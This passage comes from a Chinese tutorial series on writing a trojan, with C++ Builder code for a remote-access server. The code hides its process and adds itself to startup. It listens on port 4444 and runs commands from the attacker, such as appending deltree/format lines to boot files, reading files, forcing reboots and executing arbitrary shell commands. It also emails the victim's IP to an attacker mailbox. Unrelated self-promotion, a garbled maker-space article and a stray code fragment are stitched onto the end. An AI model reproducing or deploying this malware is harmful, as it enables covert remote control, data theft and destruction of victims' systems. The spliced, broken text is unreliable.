file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
2010网络红人
2010年最具实力网络红人:杨小陌丶(掌握空间设计 黑客技术 软件编程。。。)
2010年最具发展空间红人:杨小陌丶(年仅13岁)
2010年进步最快红人:杨小陌丶(3个月挤进中国网络红人排行30名以内)
2010年最具希望新生家族榜首:克瑞兹丶家族 创始人:杨小陌丶(现聘大量高管 详情请加Q57574518 Q514359784)
请大家继续支持小陌 支持克瑞兹丶家族
欢迎您的大驾光临
Q57574518 Q514359784
什么是创客空间?
创客空间指的是社区化运营的工作空间,在这里,有共同兴趣的人们(通常是对电脑、机械、技术、科学、数字艺术或电子技术)可以聚会,社交,展开合作。
“创客”(maker)是指出于兴趣与爱好,努力把各种创意转变为现实的人。在互联网的背景下,创客又有了新的定义,他们可以利用开源硬件和互联网,把更多的创意转变为产品[1] 。
创客词源于英文单词"hacker"并非指电脑领域黑客指赢利目标努力各种创意转变现实创客人群喜欢或者享受创新追求自身创意实现至于否实现商业价值、否帮助等主要目创客空间些创客提供实现创意交流创意思路及产品线线相结合、创新交友相结合社区平台。
纵观近两年内创客群体涌现,定程度缘于合心创业信息化产业,创客人员是空前发展速度尤其其快,创客空间是十善于同功能、特性进行组合提供限能性加全球持续流行社群发展,热衷于自钻研发全球范围内互相启发,再满足于简单机电产品制作,尝试同组合,创造同新产品新应用的空间。
互联网助推,创客逐渐汇聚社群让更知道自作品,各自展示其并互相习,形社交群体创客水平提升,逐渐汇集整社群技术水平规模优势,现今各所涌现各类同定位创客空间雏形,受域、产业结构、社区属性等素影响,同创客空间功能与定位都或或少存着差别本文通几同类型创客空间或创客团体例,角度展示前创客社群发展态势,现今我创客文化与信息产业联系甚紧密,断发着新月异变化,本文必能做全面盘点,求见微知著。
创客空间虽然属于起步阶段,前期服务同质化现象普遍,但并不代表这一市场已饱和。“制造业这一无可比拟的优势,为创客将自己的创意落地提供坚实基础,因此创客数量方面并不担忧。不过反过来看,现在优质的服务资源依然稀缺,这也恰恰就是机会所在。”根据需求不断调整并提供创客需要的优质服务,最终才能取胜市场。
tes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);